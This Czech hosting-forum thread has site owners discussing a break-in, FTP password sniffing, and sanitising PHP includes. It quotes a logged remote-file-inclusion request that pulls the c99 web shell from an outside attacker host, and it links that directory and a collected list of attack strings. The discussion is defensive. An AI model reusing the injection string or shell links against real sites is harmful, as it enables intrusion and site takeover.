Hacker

Někdo se mi dostal na stránky. Heslo jsem nikdy nikomu neřekl. Asi se tam dostává přes ftp, protože adresa posledního přihlášení je moje. Co s tím mohu udělat? Poraďte, prosim.

Zmen si heslo, nejlím když kombinuješ abecedu a čísla. a minimálně 7 znaků, pre ty hovadinovy hackerrský programy ti to budou louskat alespon 5 let a to nikoho nebude lákat... Taky trochu hackuju....

<HTML>Kentaur: Pokud taky trochu hackuješ, tak bys moh vědět, že heslo se dá získat i jinak a jistě i víš, že protokol FTP je nezabezpečený a heslo v něm putuje v otevřené podobě. Stačí tedy FTP komunikaci někde při cestě zachytávat, hacker může být například ve stejné LAN síti, ve které je oběť.</HTML>

Kentaur: to, ze nekomu koukas na prsty, kdyz pise heslo, to bych hackovanim fakt nenazyval...

Já jsem měl taky včera večer zajímavý přístup na mé stránky. Podle statistiky zadal k mé adrese někdo toto: ....n.php?page=http://devrimhack.de.funpic.de/yuklenenler/c99.txt?

Přístup byl z dsl85-107-23893.ttnet.net.tr . Tak jsem se podíval na ten soubor http://devrimhack.de.funpic.de/yuklenenler/c99.txt a na jeho zdrojový kód. Když jsem ho přejmenoval na .php, abych koukl co to je, antivir po něm ihned hrábnul a smazal ho!

Zajímavý je docela i adresář
http://devrimhack.de.funpic.de/yuklenenler/
a soubor
http://devrimhack.de.funpic.de/yuklenenler/SAO.HTM

Otázka pro zkušenější : O co se jedná v uvedeném souboru c99.txt?

je to hrozne dlouhy, ale popravde ani zacatek ve mne zrovna duveru nebudi...

kazdopadne je to varovani, aby si kazdy osetril pouziti include z $_GET parametru...

Jj. Lidi se snazi o vsechno. Jak rikal Donny, je dobre vzdy osetrit $_GET.
Kdo chce, tak prikladam dalsi retezce pokousejici se o utok na stranky.
http://tom.czweb.org/pokusy_o_utok.txt .
Je to seznam pokusu za posledni 2 roky na me stranky. Za retezci je uvedeno kolikrat byl retezec pouzit. Zaznamy muzou byt uz dost stare, takze nemusi fungovat. A rozhodne upozornuji predem, zkousejte pouze na vlastni riziko ;)

Podival jsem se na ten soubor. Teda jen ten zacatek. Ale uz na prvni pohled je tam videt, ze se jedna o skript pokousejici se nabourat do stranek, dokonce i do systemu. Umoznuje utocnikovi zjistit informace a obsah souboru a s temito soubory jakkoli manipulovat. Je tam videt i pokus o MySQL.
Proste takovy skriptik na napadeni pocitace.

>http://tom.czweb.org/pokusy_o_utok.txt

29: http://www.google.com/index.html 1

? :D

No co. Prehlidl jsem se ;D Ono je tech zaznamu vice. Krome platnych, tam jsou i preklepy, nebo zapomneli odstranit moji adresu z adresniho radku.

Koukal jsem do logu antiviru, proč soubor c99.txt po přejmenování na .php smazalo, a je tam u něj uvedeno backdoor trojan

----------------
Ale aspoň mě to donutilo preventivně změnit a zvětšit heslo do administrace stránek

Ten adresář je opravdu zajímavej, jinak je to opravdu jeden z pokusů spustit na vzdáleném počítači shell a pak se tam vyřádit....
Bohužel změna hesla to nevyřeší, jedině provozovat ošetřené php scripty...

Stačí zadat C99Shell do Googlu a jsme doma. Slouží na adminí analýzu webu, ale zároveň backdoor a trojan jako poleno:
http://66.249.93.104/search?q=cache:2LSzSqP1PTsJ:www.progressiveteam.com/catalog/ecart/images/c99shell.php%3Fact%3Df%26f%3Dlang-czech.php%26d%3D%252Fhome%252Fwww%252Fjapan-karting%252Fadmin%252Flanguage%26+c99shell.php&hl=cs&ct=clnk&cd=2&lr=lang_cs

A samozřejmě u SAFE MODE OFF je tím možno získat i zdrojáky (jako ostatně i bez tohoto skriptu jediným příkazem)...

Dobrej odkaz z Googlu, dobrý je jak tam jsou předdefinovaný příkazy (find) v políčku Select :-))

← Zpět na všechna témata

Nové příspěvky

Žádosti o obnovení odstavených domén sspklimky.wz.cz - smazání Detailní návod na připojení přes Total Commander nefukční HTTPS s balíčkem základ SPF a DKIM záznam FTP server Propojení PHP a MySQL Přenos domény Obnova webu pomalá odezva webu Obnovení webu Tarif zdarma definitivně nepoužitelný kvůli HTTP/HTTPS - druhá část Dotaz na bod podmínek "využívat poskytnutý prostor jako uložiště pro soubory, zejména pokud k nim nevede odkaz ze stránek a odkazovat se na ně z jiného serveru; Překročení datového limitu prosím můj účet přesunout na nejnovější server kvůli automatická instalaci Wordpressu Nechodí mi email na obnovu hesla nový web a hostíng zrušení přesměrování HTTP obrazy.unas.cz DNSSEC u přesunuté domény Načítací kolečko při nové objednávce domény Nefunguje domena s WWW 502 bad gateway Přechod ze zadarmové domény na placenou

Další témata

Webzdarma zvládnete to sami

Hacker

Nové příspěvky